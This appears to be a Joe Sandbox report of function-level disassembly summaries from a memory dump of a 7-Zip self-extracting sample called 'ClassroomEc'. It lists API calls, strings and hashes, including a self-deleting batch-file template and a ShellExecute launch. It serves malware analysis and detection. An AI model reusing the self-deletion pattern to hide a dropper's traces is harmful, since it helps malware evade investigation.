Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e238170ea055109cb47943994eb06b5be56588a226d843496a50fd685f2b274
Instruction ID: 6c26674a386588894a65653882a427808ea8405668eeb7e571557daf3fb138df
Opcode Fuzzy Hash: 2e238170ea055109cb47943994eb06b5be56588a226d843496a50fd685f2b274
Instruction Fuzzy Hash: 14F067B5A04209DF8B09CF99D48189EFBF5FF49310B1081A9EC1997350D731AA51CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00D66DC0 Relevance: 33.4, APIs: 4, Strings: 15, Instructions: 185memorystringCOMMON

Download Yara Rule

APIs

_DebugHeapAllocator.LIBCPMTD ref: 00D66DE7

Part of subcall function 00D79450: _wmemmove.LIBCMTD ref: 00D7948E

lstrcmpiW.KERNEL32(00000000,00D8A398), ref: 00D66E7B
_wtol.MSVCRT(00000000), ref: 00D66FA4
_wtol.MSVCRT(00000000), ref: 00D66FCE

Strings

GUIMode, xrefs: 00D66E91
ExtractPathWidth, xrefs: 00D66FB4
OverwriteMode, xrefs: 00D66ECE
ExtractTitle, xrefs: 00D66E3C
ExtractCancelText, xrefs: 00D66F62
GUIFlags, xrefs: 00D66EFB
CancelPrompt, xrefs: 00D6701F
ExtractPathText, xrefs: 00D66FFF
ExtractDialogWidth, xrefs: 00D66F8A
ExtractPathTitle, xrefs: 00D66FDE
Progress, xrefs: 00D66E5C
ErrorTitle, xrefs: 00D66E1B
MiscFlags, xrefs: 00D66F33
Title, xrefs: 00D66DC8
ExtractDialogText, xrefs: 00D66F76

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: _wtol$AllocatorDebugHeap_wmemmovelstrcmpi
String ID: CancelPrompt$ErrorTitle$ExtractCancelText$ExtractDialogText$ExtractDialogWidth$ExtractPathText$ExtractPathTitle$ExtractPathWidth$ExtractTitle$GUIFlags$GUIMode$MiscFlags$OverwriteMode$Progress$Title
API String ID: 1673552667-694992937
Opcode ID: 240c0542e05482b5e1a920b030936cdc5d1de41b3607b3cbf3eb66dd207690f9
Instruction ID: f3dea7098aec7fc31cc341493ed08da2635e984be0272a7b1eea3ef07b517d4a
Opcode Fuzzy Hash: 240c0542e05482b5e1a920b030936cdc5d1de41b3607b3cbf3eb66dd207690f9
Instruction Fuzzy Hash: AF712AB4D11208EFD700EFA8ED1ABACB7B0EB01709F294069E505A73C2E6715B48DB75

Uniqueness

Uniqueness Score: -1.00%

Function 00D693F0 Relevance: 27.3, APIs: 18, Instructions: 255windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000065), ref: 00D69410
LoadIconW.USER32(00000000), ref: 00D69417
GetSystemMetrics.USER32(00000032), ref: 00D69424
GetSystemMetrics.USER32(00000031), ref: 00D6942D
GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000), ref: 00D6943A
LoadImageW.USER32(00000000), ref: 00D69441
GetWindowLongW.USER32(00000000,000004B2), ref: 00D6949A
SetWindowLongW.USER32(00000000,000004B2,000000F0), ref: 00D694B6
GetWindowLongW.USER32(00000000,000004B5), ref: 00D694CC
SetWindowLongW.USER32(00000000,000004B5,000000F0), ref: 00D694E8
GetWindow.USER32(?,00000005), ref: 00D69607
GetWindow.USER32(00000000,00000002), ref: 00D69628

Part of subcall function 00D69A30: GetWindowTextLengthW.USER32(00000000), ref: 00D69A44

GetModuleHandleW.KERNEL32(00000000,00000065), ref: 00D6968C
LoadIconW.USER32(00000000), ref: 00D69693
LoadIconW.USER32(00000000,00007F02), ref: 00D696A5
LoadIconW.USER32(00000000,00007F01), ref: 00D696B7
LoadIconW.USER32(00000000,00007F04), ref: 00D696C9
SendMessageW.USER32(00000000,000004B1,00000172,00000001), ref: 00D696FB

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: Window$Load$Icon$Long$HandleModule$MetricsSystem$ImageLengthMessageSendText
String ID:
API String ID: 1276301936-0
Opcode ID: 5eed3836da321b005f7b374fd8f0a648e7172b503ec6b89731d445903e3b119e
Instruction ID: 8d65e676869547bc91d6edb88eead29b04e156a50737d8c96a79cfdf17891e2f
Opcode Fuzzy Hash: 5eed3836da321b005f7b374fd8f0a648e7172b503ec6b89731d445903e3b119e
Instruction Fuzzy Hash: 94A12BB0A54305ABDB04DBA0DD6ABBEB779EB44701F144014F602BB3D1CA75AE41CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 00D68570 Relevance: 24.7, APIs: 7, Strings: 7, Instructions: 159filememoryCOMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(00D68375,?,?,?,?,?,?,?,?,?,?,?,?,00D68375,00D8D4FC), ref: 00D685D4
CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00D68627
_DebugHeapAllocator.LIBCPMTD ref: 00D6864A
WriteFile.KERNEL32(000000FF,00000000,00D68375,del ",:Repeat), ref: 00D686EE
CloseHandle.KERNEL32(000000FF), ref: 00D68703
SetFileAttributesW.KERNEL32(00000000,00000000), ref: 00D68752
ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000000), ref: 00D6876E

Strings

7ZSfx%03x.cmd, xrefs: 00D685FB
:Repeat, xrefs: 00D68642
if exist ", xrefs: 00D68675
", xrefs: 00D68668, 00D686B4
" goto Repeat, xrefs: 00D6868E
open, xrefs: 00D68767
del ", xrefs: 00D6864F, 00D6869B

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: File$AllocatorAttributesCloseCreateDebugDriveExecuteHandleHeapShellTypeWrite
String ID: "$" goto Repeat$7ZSfx%03x.cmd$:Repeat$del "$if exist "$open
API String ID: 3581052426-3467708659
Opcode ID: 57150e25f753f5cba106b01f9d758f4c26d25fbc8f418a52c3fe22291fafc1bb
Instruction ID: 1ec86e9be6c3bee59a1adb792363aa48b5a18342d83b6deee0de1b5f2be07c8a
Opcode Fuzzy Hash: 57150e25f753f5cba106b01f9d758f4c26d25fbc8f418a52c3fe22291fafc1bb
Instruction Fuzzy Hash: C4514B75800208ABDB04FBA1DC67BEDB774EF14704F548159F50AA60A1EF706A49CBB9

Uniqueness

Uniqueness Score: -1.00%

Function 00D69A70 Relevance: 19.9, APIs: 13, Instructions: 354COMMON

Download Yara Rule

APIs

Part of subcall function 00D68A60: GetDlgItem.USER32(?,00000000), ref: 00D68A72

GetWindowLongW.USER32(00000000,000004B3), ref: 00D69AA3
GetWindowLongW.USER32(00000000,000004B4), ref: 00D69AEA
GetSystemMetrics.USER32(00000010), ref: 00D69BA6
GetSystemMetrics.USER32(00000011), ref: 00D69BB1
GetSystemMetrics.USER32(00000008), ref: 00D69BBC
GetSystemMetrics.USER32(00000007), ref: 00D69BD0
GetParent.USER32(00000000), ref: 00D69C0F
ClientToScreen.USER32(00000000,?), ref: 00D69C38
ClientToScreen.USER32(00000000,?), ref: 00D69C46
SetWindowPos.USER32(00000000,00000000,?,?,?,?,00000004), ref: 00D69CD7

Part of subcall function 00D699F0: SetWindowPos.USER32(00000000,?,00000000,00000000,?,?,?,?,?,?,00D69F21,?,?,?,?,?), ref: 00D69A1D

GetClientRect.USER32(00000000,?), ref: 00D69C2A

Part of subcall function 00D697C0: GetDlgItem.USER32(00000000,?), ref: 00D697D8

GetSystemMetrics.USER32(00000008), ref: 00D69E53
GetSystemMetrics.USER32(00000007), ref: 00D69E69

Part of subcall function 00D68B40: GetClientRect.USER32(00000000,?), ref: 00D68B54

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: MetricsSystem$ClientWindow$ItemLongRectScreen$Parent
String ID:
API String ID: 3176548655-0
Opcode ID: 5cb56c0626b198b58b513f4c8365fa347026061449ca9e209118c83fae31119d
Instruction ID: b1399d72685d7a4c20909e6d6da3660c856d210400ff07d0f6bbc1b663689081
Opcode Fuzzy Hash: 5cb56c0626b198b58b513f4c8365fa347026061449ca9e209118c83fae31119d
Instruction Fuzzy Hash: F5E1C2B0E00219DFDB08DFA8D9A5AEEBBB5FF48300F144258E505AB395C774AD42CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00D6A4D0 Relevance: 16.6, APIs: 11, Instructions: 105COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00D6A4DC
GetWindowLongW.USER32(00000000), ref: 00D6A4E3
DefWindowProcW.USER32(?,?,?,?), ref: 00D6A502
CallWindowProcW.USER32(?,?,?,?,00000000), ref: 00D6A534
GetSystemMetrics.USER32(00000031), ref: 00D6A53F
GetSystemMetrics.USER32(00000032), ref: 00D6A54A

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: Window$MetricsProcSystem$CallLongParent
String ID:
API String ID: 2567644265-0
Opcode ID: 3f0f501cb673b1f69793dc0da4dbcc835207d0b1ad03d2a19495b83c508ad718
Instruction ID: 84dc580e6bc5674c0d3f6ba5d3bbf3486f36fb4aba7430ab0bd0a7304dd2949b
Opcode Fuzzy Hash: 3f0f501cb673b1f69793dc0da4dbcc835207d0b1ad03d2a19495b83c508ad718
Instruction Fuzzy Hash: DC41B8B5914209AFCB04CFA8D998EEEBBB9BB4C311F144648F946E7294C734E941CF61

Uniqueness

Uniqueness Score: -1.00%

Function 00D77330 Relevance: 15.1, APIs: 10, Instructions: 92COMMON

Download Yara Rule

APIs

Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00D7733A
Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00D77345
Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00D77350
Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00D7735B
Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00D77366
Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00D77371
Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00D7737C
Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00D77387
Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00D77392
Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00D7739D

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: ProcessorVirtual$Concurrency::RootRoot::
String ID:
API String ID: 3936482309-0
Opcode ID: 4f70e0e031cab179761b603fa600f71d3f6141713af46575c4d4872ab0f71458
Instruction ID: 7efd0d3442b5b130e70a8421f4105a29a8e35585ffbf23f1a98cec433bb4f916
Opcode Fuzzy Hash: 4f70e0e031cab179761b603fa600f71d3f6141713af46575c4d4872ab0f71458
Instruction Fuzzy Hash: 42419A74900109EFDB08EF98C6A5BADB7B2EF44308F644188D4066B342CB75AF15DBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00D64510 Relevance: 14.4, APIs: 6, Strings: 2, Instructions: 370memoryCOMMON

Download Yara Rule

APIs

_DebugHeapAllocator.LIBCPMTD ref: 00D6458E

Strings

SetEnvironment, xrefs: 00D6489A
R, xrefs: 00D647F6

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: AllocatorDebugHeap
String ID: R$SetEnvironment
API String ID: 571936431-1698439222
Opcode ID: 5a11d0298a819ca0fa6f4b097eed2e9b3796e76e3d21f5bae3233830ba45467c
Instruction ID: aa5a24cca6606a301eee74421f142afbe5e64ab77db7bd6879ff7eb1ef022f77
Opcode Fuzzy Hash: 5a11d0298a819ca0fa6f4b097eed2e9b3796e76e3d21f5bae3233830ba45467c
Instruction Fuzzy Hash: 50E19FB1D04158ABCB05EFE4E8A19FEBB75EF55304F088119F456AB252EB309A44CB70

Uniqueness

Uniqueness Score: -1.00%

Function 00D66AB0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D62CC0: Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00D62CCA

_DebugHeapAllocator.LIBCPMTD ref: 00D66ADE
Concurrency::details::VirtualProcessorRoot::~VirtualProcessorRoot.LIBCMTD ref: 00D66B07
Concurrency::details::VirtualProcessorRoot::~VirtualProcessorRoot.LIBCMTD ref: 00D66B59
_DebugHeapAllocator.LIBCPMTD ref: 00D66B7E
Concurrency::details::VirtualProcessorRoot::~VirtualProcessorRoot.LIBCMTD ref: 00D66BED

Strings

;!@Install@!UTF-8!, xrefs: 00D66B83
;!@InstallEnd@!, xrefs: 00D66BA1

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: ProcessorVirtual$Root$Concurrency::details::Root::~$AllocatorDebugHeap$Concurrency::Root::
String ID: ;!@Install@!UTF-8!$;!@InstallEnd@!
API String ID: 2885122008-372238525
Opcode ID: 15a46ca9324dbd791293838a87817c1187c24da5e68adfa3e0a7f2bb1c224d02
Instruction ID: ae812de3298718e8d7eb63e8b5806d1354a1da230a2d39284ce793d92108d7fa
Opcode Fuzzy Hash: 15a46ca9324dbd791293838a87817c1187c24da5e68adfa3e0a7f2bb1c224d02
Instruction Fuzzy Hash: CD416471D00148ABDB09FBE5EC92AEDBB38EF14304F544168F45266192EF31AB48CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D6A9E0 Relevance: 12.1, APIs: 8, Instructions: 119windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D69100: SendMessageW.USER32(00000000,?,00000000,000004B3), ref: 00D69120

GetWindowLongW.USER32(00000000,000004B5), ref: 00D6AA80
SetWindowLongW.USER32(00000000,000004B5,000000F0), ref: 00D6AAAC
GetSystemMenu.USER32(00000000,00000000,000004B4,00000000,000004B8,00000401,00000000,75300000,000004B8,00000001), ref: 00D6AADD
EnableMenuItem.USER32(00000000,0000F060,00000001), ref: 00D6AAF7
SetFocus.USER32(00000000,000004B4,000004B8,00000401,00000000,75300000,000004B8,00000001), ref: 00D6AB0B
IsWindow.USER32(00000000), ref: 00D6AB25
EnableWindow.USER32(00000000,00000002), ref: 00D6AB3C
ShowWindow.USER32(00000000,000004B5,00000000), ref: 00D6AB5D

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: Window$EnableLongMenu$FocusItemMessageSendShowSystem
String ID:
API String ID: 2770945220-0
Opcode ID: 89dea7f2ec49f445471257d26ce6736d8318ab7e2cdfbd00c01a0519b0fcb0b7
Instruction ID: 3127b14f2a80690985a79c6fb60c5dc714c32fb9fc8319b47f65cbd56b4f89da
Opcode Fuzzy Hash: 89dea7f2ec49f445471257d26ce6736d8318ab7e2cdfbd00c01a0519b0fcb0b7
Instruction Fuzzy Hash: 8D41E870A50309ABDB04EBA4DD5ABAEB77AEB40701F104119E502BB3E1CB756D40CB75

Uniqueness

Uniqueness Score: -1.00%

Function 00D698E0 Relevance: 12.1, APIs: 8, Instructions: 85COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00D698FA
GetSystemMetrics.USER32(0000003D), ref: 00D6990F
GetSystemMetrics.USER32(0000000B), ref: 00D69919
GetSystemMetrics.USER32(0000003E), ref: 00D69929
SelectObject.GDI32(00000000,?), ref: 00D69963
DrawTextW.USER32(00000000,00000000,000000FF,00000000,?), ref: 00D69984
SelectObject.GDI32(00000000,?), ref: 00D699C4
ReleaseDC.USER32(00000000,00000000), ref: 00D699D7

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: MetricsSystem$ObjectSelect$DrawReleaseText
String ID:
API String ID: 2466489532-0
Opcode ID: 83213ad29445b9b520710ae0cbff0ac024836eac7c60714a262e0a19e14f4cf6
Instruction ID: 8c17c5340a79ba9cba238afad238263ec90e7702ec0d4d08bbf42c9964da6352
Opcode Fuzzy Hash: 83213ad29445b9b520710ae0cbff0ac024836eac7c60714a262e0a19e14f4cf6
Instruction Fuzzy Hash: D431BA75910209EFCB04DFA8D998AAEFBB5EF48310F14C159E919A7390C7319A41CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00D71810 Relevance: 11.0, APIs: 2, Strings: 4, Instructions: 488COMMON

Download Yara Rule

APIs

Part of subcall function 00D741E0: ??3@YAXPAX@Z.MSVCRT ref: 00D741F5
Part of subcall function 00D741E0: ??2@YAPAXI@Z.MSVCRT ref: 00D7421A

Part of subcall function 00D74280: ??3@YAXPAX@Z.MSVCRT ref: 00D74295
Part of subcall function 00D74280: ??2@YAPAXI@Z.MSVCRT ref: 00D742AA

std::exception::exception.LIBCMTD ref: 00D718C2
std::exception::exception.LIBCMTD ref: 00D718CA

Strings

@, xrefs: 00D7194A
!, xrefs: 00D71ABA
@, xrefs: 00D71A5F
@, xrefs: 00D71A85

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: ??2@??3@std::exception::exception
String ID: !$@$@$@
API String ID: 1147900709-3902203808
Opcode ID: ee080df5fc63fe9e49dba22cc232b619f44909f807105bd0b0cbdc273ec5a8c7
Instruction ID: 9776476b90faf219e485d9b40f19d7342d91e5d3fd32360c27698eaccda2ecde
Opcode Fuzzy Hash: ee080df5fc63fe9e49dba22cc232b619f44909f807105bd0b0cbdc273ec5a8c7
Instruction Fuzzy Hash: E022EB74D11118DFCB18EFA8C8A1AADBBB6FF44304F148159E44AAB252EB306E45CF75

Uniqueness

Uniqueness Score: -1.00%

Function 00D61760 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 319COMMON

Download Yara Rule

APIs

Part of subcall function 00D63880: lstrlenW.KERNEL32(00D617FC,?,?,00D617FC,?,00D896DC), ref: 00D63888
Part of subcall function 00D63880: lstrlenW.KERNEL32(?,?,00D617FC,?,00D896DC), ref: 00D63895
Part of subcall function 00D63880: _wcsnicmp.MSVCRT ref: 00D638AC

_wtol.MSVCRT(?), ref: 00D61A92

Strings

GUIMode, xrefs: 00D6193A
OverwriteMode, xrefs: 00D618E1
SelfDelete, xrefs: 00D61A02
MiscFlags, xrefs: 00D619A9
GUIFlags, xrefs: 00D61974

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: lstrlen$_wcsnicmp_wtol
String ID: GUIFlags$GUIMode$MiscFlags$OverwriteMode$SelfDelete
API String ID: 24125944-3877767935
Opcode ID: 1a39d6bb14392dae76e5752af9d3a417db2d9f05d5a32e113095d8b1183cc137
Instruction ID: 3f5aa726dafa184141cef95b7afd6c06b5187ae3e9f2471405e33ca445e40e44
Opcode Fuzzy Hash: 1a39d6bb14392dae76e5752af9d3a417db2d9f05d5a32e113095d8b1183cc137
Instruction Fuzzy Hash: 69B18178A00018EBCB14EB98C99297DB3B2EF81745B2C8189F442EB281E771DE55E775

Uniqueness

Uniqueness Score: -1.00%

Function 00D6ADF0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00D6AE39
wsprintfW.USER32 ref: 00D6AE8C
_DebugHeapAllocator.LIBCPMTD ref: 00D6AECF
_DebugHeapAllocator.LIBCPMTD ref: 00D6AEF3

Part of subcall function 00D79450: _wmemmove.LIBCMTD ref: 00D7948E

Strings

0u, xrefs: 00D6AE53
%d%%, xrefs: 00D6AE83

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: AllocatorDebugHeap$Unothrow_t@std@@@__ehfuncinfo$??2@_wmemmovewsprintf
String ID: %d%%$0u
API String ID: 3297093599-3442222605
Opcode ID: 61f40f7a00ca7ee8615345d5424dc3e5b502fc9fbe2ddd4f0ca18b7eba4c9cc7
Instruction ID: bbb106e36d45e0653c511501f8be579404e7a8418d948c727021586425926100
Opcode Fuzzy Hash: 61f40f7a00ca7ee8615345d5424dc3e5b502fc9fbe2ddd4f0ca18b7eba4c9cc7
Instruction Fuzzy Hash: 78312A71E10208ABDB04EB98DC96EEDB379EB48304F248159F115BB292DB71BD05CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 00D6A6B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00D6A6CA
SHBrowseForFolderW.SHELL32(?), ref: 00D6A6F4
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00D6A725
_DebugHeapAllocator.LIBCPMTD ref: 00D6A73B
SHGetMalloc.SHELL32(00000000), ref: 00D6A75C

Strings

A, xrefs: 00D6A6E3

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

